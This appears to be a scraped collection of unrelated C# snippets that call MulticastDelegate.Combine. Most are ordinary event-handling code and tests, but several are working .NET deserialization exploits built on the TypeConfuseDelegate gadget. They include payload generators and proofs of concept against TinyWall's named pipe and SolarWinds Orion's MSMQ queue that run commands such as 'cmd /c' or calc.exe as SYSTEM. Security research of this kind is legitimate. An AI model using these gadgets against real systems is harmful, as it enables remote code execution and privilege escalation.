/// <summary> /// Copy event handlers from one object to another given an event name. /// </summary> /// <param name="source">Source object to copy from</param> /// <param name="target">target object to copy event handlers to</param> /// <param name="eventName">events to copy event handlers to</param> public static void CopyEventHandlers(object source, object target, string eventName) { if (source == null) { throw new ArgumentNullException("source"); } if (target == null) { throw new ArgumentNullException("target"); } // check if event exist if (!HasEvent(source, eventName, false)) { throw new ArgumentException( String.Format("The '{0}' object does not have a '{1}' event", source.GetType().FullName, eventName)); } if (!HasEvent(target, eventName, false)) { throw new ArgumentException( String.Format("The '{0}' object does not have a '{1}' event", target.GetType().FullName, eventName)); } Delegate targetDelegate = GetEventDelegateFromObject(target, eventName); targetDelegate = MulticastDelegate.Combine(targetDelegate, GetEventDelegateFromObject(source, eventName)); GetFieldInfo(target, eventName).SetValue(target, targetDelegate); }
static void Main(string[] args) { // Create a simple multicast delegate. Delegate d1 = new Comparison <string>(String.Compare); Comparison <string> d2 = (Comparison <string>)MulticastDelegate.Combine(d1, d1); // Create set with original comparer. IComparer <string> comp = Comparer <string> .Create(d2); SortedSet <string> set = new SortedSet <string>(comp); // Setup values to call calc.exe with a dummy argument. set.Add("calc"); set.Add("adummy"); //Use the type confuse delegate trick TypeConfuseDelegate(d2); //Write the file BinaryFormatter fmt = new BinaryFormatter(); FileStream fs = new FileStream("d:\\serialized.dat", FileMode.Create); fmt.Serialize(fs, set); // Test serialization. BinaryFormatter fmt2 = new BinaryFormatter(); MemoryStream stm2 = new MemoryStream(); fmt2.Serialize(stm2, set); stm2.Position = 0; fmt2.Deserialize(stm2); // Calculator should execute during Deserialize. }
/// <summary> /// Add or remove the provided handler /// </summary> /// <typeparam name="TEventArgs">The type of the handler</typeparam> /// <param name="addHandler">true to add an event listener, false to remove one</param> /// <param name="key">The key to the current handler</param> /// <param name="handler">The event to add or remove</param> /// <returns>Returns non-null if the wrapper needs to be added or removed</returns> private Delegate AddOrRemove <TEventArgs>(TypeAndDomainObjectKey key, EventHandler <TEventArgs> handler, bool addHandler) where TEventArgs : ModelingEventArgs { Delegate retVal = null; EventHandlerWrapper currentWrapper = null; if (myDictionary.TryGetValue(key, out currentWrapper)) { if (addHandler) { currentWrapper.InnerHandler = MulticastDelegate.Combine(currentWrapper.InnerHandler, handler); } else { Delegate newDelegate = MulticastDelegate.Remove(currentWrapper.InnerHandler, handler); currentWrapper.InnerHandler = newDelegate; if (newDelegate == null) { myDictionary.Remove(key); retVal = new EventHandler <TEventArgs>(((EventHandlerWrapper <TEventArgs>)currentWrapper).Handler); } } } else { EventHandlerWrapper <TEventArgs> wrappedHandler = new EventHandlerWrapper <TEventArgs>(handler, this); myDictionary.Add(key, wrappedHandler); retVal = new EventHandler <TEventArgs>(wrappedHandler.Handler); } return(retVal); }
protected override System.Threading.Thread GetTaskThread(Task task) { Action taskAction = new Action(() => { this.TryExecuteTask(task); }); if (m_CallChain == null) { m_CallChain = taskAction; } else { MulticastDelegate.Combine(m_CallChain, taskAction); } if (m_SingleThread == null) { RuntimeHelpers.PrepareMethod(this.GetType().GetMethod( "ThreadCall", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic ).MethodHandle); m_SingleThread = new Thread(ThreadCall); } return(m_SingleThread); }
public static object TypeConfuseDelegateGadget(InputArgs inputArgs) { string cmdFromFile = inputArgs.CmdFromFile; if (!string.IsNullOrEmpty(cmdFromFile)) { inputArgs.Cmd = cmdFromFile; } Delegate da = new Comparison <string>(String.Compare); Comparison <string> d = (Comparison <string>)MulticastDelegate.Combine(da, da); IComparer <string> comp = Comparer <string> .Create(d); SortedSet <string> set = new SortedSet <string>(comp); set.Add(inputArgs.CmdFileName); if (inputArgs.HasArguments) { set.Add(inputArgs.CmdArguments); } else { set.Add(""); // this is needed (as Process.Start accepts two args) } FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[0] = new Func <string, string, Process>(Process.Start); invoke_list[1] = new Func <string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); return(set); }
private static Button CreateCtrlButtonWithResult(MessageBoxModule mbox, string content, bool?dialogResult, Action action, bool isDefault = false) { var btn = CreateCtrlButton(content); btn.IsDefault = isDefault; Action actionDialogResult = new Action(() => { mbox.DialogResult = dialogResult; if (null == dialogResult) { mbox.Close(); } }); if (null == action) { action = new Action(() => { }); } Action mulitcastDelegate = (Action)MulticastDelegate.Combine(actionDialogResult, action); if (null != mulitcastDelegate) { btn.Command = new MessageBoxRelayCommand(mulitcastDelegate); } return(btn); }
private void HandleEventSubscription(MethodInfo method, Delegate subscription) { var methodName = method.Name; if (methodName.StartsWith("remove_")) { var removeName = methodName.Substring(7); if (!eventSubscriptions.ContainsKey(removeName)) { return; } Delegate removeDelegate = (MulticastDelegate)eventSubscriptions[removeName]; removeDelegate = MulticastDelegate.Remove(removeDelegate, subscription); eventSubscriptions[removeName] = removeDelegate; return; } var addName = methodName.Substring(4); if (!eventSubscriptions.ContainsKey(addName)) { eventSubscriptions[addName] = subscription; return; } Delegate addDelegate = (MulticastDelegate)eventSubscriptions[addName]; addDelegate = MulticastDelegate.Combine(addDelegate, subscription); eventSubscriptions[addName] = addDelegate; }
public override object Generate(string cmd, string formatter, Boolean test) { if (File.Exists(cmd)) { Console.Error.WriteLine("Reading command from file " + cmd + " ..."); cmd = File.ReadAllText(cmd); } Delegate da = new Comparison <string>(String.Compare); Comparison <string> d = (Comparison <string>)MulticastDelegate.Combine(da, da); IComparer <string> comp = Comparer <string> .Create(d); SortedSet <string> set = new SortedSet <string>(comp); set.Add("cmd"); set.Add("/c " + cmd); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func <string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); return(Serialize(set, formatter, test)); }
private void AddEvent(MethodInfo method, Delegate subscriber) { string eventName = method.Name.Substring(4); Delegate existing = (MulticastDelegate)eventsSubscribers[eventName]; existing = MulticastDelegate.Combine(existing, subscriber); eventsSubscribers[eventName] = existing; }
public static void Test2() { Action a = () => Console.WriteLine("A"); Action b = () => Console.WriteLine("B"); Action c = (Action)MulticastDelegate.Combine(a, b); c(); }
public CH0505() { Action actiond = Method1; //语法糖==new action(Method1) actiond += Method2; // actiond = (Action)MulticastDelegate.Combine(actiond, new Action(Method3)); actiond -= Method3; actiond(); }
public bool PosTest8() { bool retVal = true; TestLibrary.TestFramework.BeginScenario("PosTest8: Combine two multifunctions delegates"); try { DelegateDefinitions dd = new DelegateDefinitions(); dd.VoidParameterVoidDelegate = new VoidParameterVoidDelegate(DelegateDefinitions.TestVoidParameterVoidStaticCallback); dd.VoidParameterVoidDelegate += new VoidParameterVoidDelegate(dd.TestVoidParameterVoidCallback); DelegateDefinitions dd1 = new DelegateDefinitions(); dd1.VoidParameterVoidDelegate = new VoidParameterVoidDelegate(DelegateDefinitions.TestVoidParameterVoidStaticCallback); dd1.VoidParameterVoidDelegate += new VoidParameterVoidDelegate(dd1.TestVoidParameterVoidCallback); dd.VoidParameterVoidDelegate = (VoidParameterVoidDelegate)MulticastDelegate.Combine(dd.VoidParameterVoidDelegate, dd1.VoidParameterVoidDelegate); dd.VoidParameterVoidDelegate(); if (dd.VoidParameterVoidDelegateTestValue != DelegateDefinitions.c_DELEGATE_TEST_DEFAULT_VALUE_PARAMETER + 1) { TestLibrary.TestFramework.LogError("009", "Combined delegate does not work: " + dd.VoidParameterVoidDelegateTestValue); retVal = false; } if (dd1.VoidParameterVoidDelegateTestValue != DelegateDefinitions.c_DELEGATE_TEST_DEFAULT_VALUE_PARAMETER + 1) { TestLibrary.TestFramework.LogError("010", "Combined delegate does not work: " + dd1.VoidParameterVoidDelegateTestValue); retVal = false; } if (DelegateDefinitions.VoidParameterVoidDelegateStaticTestValue != DelegateDefinitions.c_DELEGATE_TEST_DEFAULT_VALUE_PARAMETER + 2) { TestLibrary.TestFramework.LogError("011", "Combined delegate does not work: " + DelegateDefinitions.VoidParameterVoidDelegateStaticTestValue); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError("012", "Unexpected exception: " + e); TestLibrary.TestFramework.LogInformation(e.StackTrace); retVal = false; } finally { // reset the value of static variable DelegateDefinitions.VoidParameterVoidDelegateStaticTestValue = 0; } return(retVal); }
public void Register(ShellObjectChangeTypes changeType, Delegate handler) { if (!_events.TryGetValue(changeType, out var del)) { _events.Add(changeType, handler); } else { del = MulticastDelegate.Combine(del, handler); _events[changeType] = del; } }
private void AddHandler(string eventID, CallbackEventDelegate raiseMethod, Delegate handler) { EventInfo info; if (_events.TryGetValue(eventID, out info)) { info.Handler = MulticastDelegate.Combine(info.Handler, handler); } else { _events[eventID] = new EventInfo(handler, raiseMethod); } }
/* * METHODS */ public bool AddDeleg(DIAction diaToAdd) { if (diaToAdd == null) { return(true); } if (this.dia == null) { this.dia = diaToAdd; } else { this.dia = (MulticastDelegate.Combine(this.dia, diaToAdd)) as DIAction; } return(true); }
/// <summary> /// /// </summary> /// <param name="obj"></param> /// <param name="info"></param> /// <param name="context"></param> /// <param name="selector"></param> /// <returns></returns> public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) { XmlDeserializer.DeserializeContext dc = context.Context as XmlDeserializer.DeserializeContext; object target = info.GetValue("Target", typeof(object)); string method = info.GetValue("Method", typeof(string)) as string; MulticastDelegate delObj = MulticastDelegate.CreateDelegate(dc.ObjectType, target, method) as MulticastDelegate; List <Delegate> invokeList = info.GetValue("InvocationList", typeof(List <Delegate>)) as List <Delegate>; if (invokeList.Count > 0) { return(MulticastDelegate.Combine(invokeList.ToArray()) as MulticastDelegate); } else { return(delObj); } }
public static object GetXamlGadget(string xaml_payload) { Delegate da = new Comparison <string>(String.Compare); Comparison <string> d = (Comparison <string>)MulticastDelegate.Combine(da, da); IComparer <string> comp = Comparer <string> .Create(d); SortedSet <string> set = new SortedSet <string>(comp); set.Add(xaml_payload); set.Add(""); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // We use XamlReader.Parse() to trigger the xaml execution invoke_list[1] = new Func <string, object>(System.Windows.Markup.XamlReader.Parse); fi.SetValue(d, invoke_list); return(set); }
static void Main(string[] args) { string tinywallPath = @"C:\Program Files (x86)\TinyWall\TinyWall.exe"; if (!Masquerade.TyniwallProcess(tinywallPath).Contains("TinyWall.exe")) { Console.WriteLine("[-] Masquerading Fail Closing..."); Console.ReadLine(); Environment.Exit(0); } NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "TinyWallController", PipeDirection.InOut); // Connect to the pipe or wait until the pipe is available. Console.Write("Attempting to connect to File Transfer pipe..."); //time out can also be specified pipeClient.Connect(); Console.WriteLine("Connected to File Transfer pipe."); // Create a simple multicast delegate. Delegate da = new Comparison <string>(String.Compare); Comparison <string> d = (Comparison <string>)MulticastDelegate.Combine(da, da); // Create set with original comparer. IComparer <string> comp = Comparer <string> .Create(d); SortedSet <string> set = new SortedSet <string>(comp); // Setup values to call calc.exe with a dummy argument. set.Add("cmd"); set.Add("/c whoami > c:\\whoami.txt"); TypeConfuseDelegate(d); Console.WriteLine(); Console.WriteLine("[+] Sending Payload to write a whoami.txt file in c:\\"); new BinaryFormatter { AssemblyFormat = FormatterAssemblyStyle.Simple }.Serialize(pipeClient, set); Console.ReadKey(); }
static void Main(String[] args) { Console.WriteLine(""); Console.WriteLine("Microsoft Message Queuing Feature should be installed on your computer before running this POC."); Console.WriteLine(""); if (args.Length < 2) { Console.WriteLine("Provide IP address of SolarWinds box and a command to run as LOCALSYSTEM."); Console.WriteLine("Example invocation:"); Console.WriteLine(); Console.WriteLine("\tOrionMSMQ.exe 192.168.1.11 shutdown /r"); return; } // Borrowed from https://googleprojectzero.blogspot.com/2017/04/ Delegate d = new Comparison <String>(String.Compare); Comparison <String> d2 = (Comparison <String>)MulticastDelegate.Combine(d, d); IComparer <String> comp = Comparer <String> .Create(d2); SortedSet <String> set = new SortedSet <String>(comp); for (int i = 1; i < args.Length; i++) { set.Add(args[i]); } TypeConfuseDelegate(d2); PropertyBag bag = new PropertyBag(); bag["PollingPlanID"] = "0"; bag["Payload"] = set; String path = String.Format("FormatName:DIRECT=TCP:{0}\\private$\\solarwinds/collector/processingqueue/core.node.details.wmi", args[0]); MessageQueue rmQ = new MessageQueue(path); Message msg = new Message(bag, new CompressedMessageFormatter(new BinaryMessageFormatter())); rmQ.Send(msg); Console.WriteLine("Payload sent to remote queue:"); Console.WriteLine(rmQ.Path); }
/* this can be used easily by the plugins as well */ public object TypeConfuseDelegateGadget(string cmd) { String potentialCmdFile = cmd.Replace("cmd /c ", ""); // as we add this automatically to the command if (File.Exists(potentialCmdFile)) { Console.Error.WriteLine("Reading command from file " + cmd + " ..."); cmd = File.ReadAllText(potentialCmdFile); } Boolean hasArgs; string[] splittedCMD = Helpers.CommandArgSplitter.SplitCommand(cmd, out hasArgs); Delegate da = new Comparison <string>(String.Compare); Comparison <string> d = (Comparison <string>)MulticastDelegate.Combine(da, da); IComparer <string> comp = Comparer <string> .Create(d); SortedSet <string> set = new SortedSet <string>(comp); set.Add(splittedCMD[0]); if (hasArgs) { set.Add(splittedCMD[1]); } else { set.Add(""); // this is needed (as it accepts two args?) } FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[0] = new Func <string, string, Process>(Process.Start); invoke_list[1] = new Func <string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); return(set); }
private EventRegistrationToken AddEventHandlerNoLock(T handler) { Debug.Assert(handler != null); // Get a registration token, making sure that we haven't already used the value. This should be quite // rare, but in the case it does happen, just keep trying until we find one that's unused. EventRegistrationToken token = GetPreferredToken(handler); while (m_tokens.ContainsKey(token)) { token = new EventRegistrationToken(token.Value + 1); } m_tokens[token] = handler; // Update the current invocation list to include the newly added delegate Delegate invokeList = (Delegate)(object)m_invokeList; invokeList = MulticastDelegate.Combine(invokeList, (Delegate)(object)handler); m_invokeList = (T)(object)invokeList; return(token); }
private static void MakePayload1(string fileName) { // Create a simple multicast delegate. Delegate d = new Comparison <string> (String.Compare); Comparison <string> cd = (Comparison <string>)MulticastDelegate.Combine(d, d); // Create set with original comparer. IComparer <string> comp = Comparer <string> .Create(cd); SortedSet <string> set = new SortedSet <string> (comp); // Setup values to call calc.exe with a dummy argument. set.Add("calc"); set.Add("adummy"); TypeConfuseDelegate(cd); using (var fs = new FileStream($@"c:\temp\{fileName}", FileMode.Create)) { var formatter = new BinaryFormatter(); formatter.Serialize(fs, set); } }
static void Main(string[] args) { Employee emp = new Employee(); DoAllCalculations obj1 = new DoAllCalculations(emp.CalculateGrossSalary); DoAllCalculations obj2 = new DoAllCalculations(emp.CalculateNetSalary); DoAllCalculations cal = (DoAllCalculations)MulticastDelegate.Combine(obj1, obj2); Console.WriteLine("enter basic salary"); int bs = Convert.ToInt32(Console.ReadLine()); //cal(bs); //Console.WriteLine("Gross Salary" + emp.GrossSalary); //Console.WriteLine("Net Salary" + emp.NetSalary); EmpShowCalculations += cal; EmpShowCalculations(bs); Console.WriteLine("Gross Salary" + emp.GrossSalary); Console.WriteLine("Net Salary" + emp.NetSalary); Console.ReadLine(); }
public static Method GetMethod(string s) { string[] strList = s.Split("\n"); if (strList.Length > 1) { Method ret = null; foreach (string str in strList) { ret = MulticastDelegate.Combine(ret, GetMethod(str)) as Method; } return(ret); } if (!map.ContainsKey(s)) { throw new ApplicationException($"MethodNameMap<{typeof(Method).Name}> has not got key \"{s}\""); } return(map[s]); }
/* This code creates a gadget that will be executed when deserialized by BinaryFormatter, * which is the internal deserializer for BinaryMessageFormatter. * Taken from ysoserial.net - https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TypeConfuseDelegateGenerator.cs * This gadget was created by James Forshaw */ public static Message generateBinaryMessageFormatterPayload() { Delegate da = new Comparison <string>(String.Compare); Comparison <string> d = (Comparison <string>)MulticastDelegate.Combine(da, da); IComparer <string> comp = Comparer <string> .Create(d); SortedSet <string> set = new SortedSet <string>(comp); set.Add("cmd"); set.Add("/c calc.exe"); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); invoke_list[1] = new Func <string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); BinaryMessageFormatter bmf = new BinaryMessageFormatter(); Message exploitMessage = new Message(); bmf.Write(exploitMessage, set); return(exploitMessage); }
public static T ConvertDelegate <T>(Delegate d) { if (!(typeof(T).IsSubclassOf(typeof(Delegate)))) { throw new ArgumentException("T is no Delegate"); } if (d == null) { throw new ArgumentNullException(); } MulticastDelegate md = d as MulticastDelegate; Delegate[] invList = null; int invCount = 1; if (md != null) { invList = md.GetInvocationList(); } if (invList != null) { invCount = invList.Length; } if (invCount == 1) { return((T)(object)Delegate.CreateDelegate(typeof(T), d.Target, d.Method)); } else { for (int i = 0; i < invList.Length; i++) { invList[i] = (Delegate)(object)ConvertDelegate <T>(invList[i]); } return((T)(object)MulticastDelegate.Combine(invList)); } }
static void Main(string[] args) { //connecting to the known pipe stream server which runs in localhost using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "File Transfer", PipeDirection.InOut)) { // Connect to the pipe or wait until the pipe is available. Console.Write("Attempting to connect to File Transfer pipe..."); Console.WriteLine("Connected to File Transfer pipe."); // Create a simple multicast delegate. Delegate da = new Comparison <string>(String.Compare); Comparison <string> d = (Comparison <string>)MulticastDelegate.Combine(da, da); // Create set with original comparer. IComparer <string> comp = Comparer <string> .Create(d); SortedSet <string> set = new SortedSet <string>(comp); // Setup values to call calc.exe with a dummy argument. set.Add("calc"); set.Add("adummy"); TypeConfuseDelegate(d); byte[] ObjectToByteArray(Object obj) { BinaryFormatter bf = new BinaryFormatter(); using (var ms = new MemoryStream()) { bf.Serialize(ms, obj); return(ms.ToArray()); } } new BinaryFormatter { AssemblyFormat = FormatterAssemblyStyle.Simple }.Serialize(pipeClient, set); } Console.Write("Press Enter to continue..."); Console.ReadLine(); #region workingPipeClient /* * //connecting to the known pipe stream server which runs in localhost * using (NamedPipeClientStream pipeClient = * new NamedPipeClientStream(".", "File Transfer", PipeDirection.In)) * { * // Connect to the pipe or wait until the pipe is available. * Console.Write("Attempting to connect to File Transfer pipe..."); * //time out can also be specified * pipeClient.Connect(); * * Console.WriteLine("Connected to File Transfer pipe."); * * * BinaryReader reader = new BinaryReader(pipeClient, Encoding.UTF8, true); * string fileName = reader.ReadString(); * * //creating the target file with name same as specified in source which comes using * //file transfer object * using (FileStream fs = new FileStream(@"c:\tools\NamedPipes\client\" + fileName, FileMode.Create, FileAccess.Write)) * { * pipeClient.CopyTo(fs); * } * Console.WriteLine("File, Received from server: {0}", fileName); * * } * Console.Write("Press Enter to continue..."); * Console.ReadLine(); */ #endregion }
/// <include file='doc\log.uex' path='docs/doc[@for="Log.AddOnLogMessage"]/*' /> public static void AddOnLogMessage(LogMessageEventHandler handler) { _LogMessageEventHandler = (LogMessageEventHandler)MulticastDelegate.Combine(_LogMessageEventHandler, handler); }
/// <include file='doc\log.uex' path='docs/doc[@for="Log.AddOnLogSwitchLevel"]/*' /> public static void AddOnLogSwitchLevel(LogSwitchLevelHandler handler) { _LogSwitchLevelHandler = (LogSwitchLevelHandler)MulticastDelegate.Combine(_LogSwitchLevelHandler, handler); }
public static void AddListener(EventClient client) { listeners = MulticastDelegate.Combine(listeners, client); }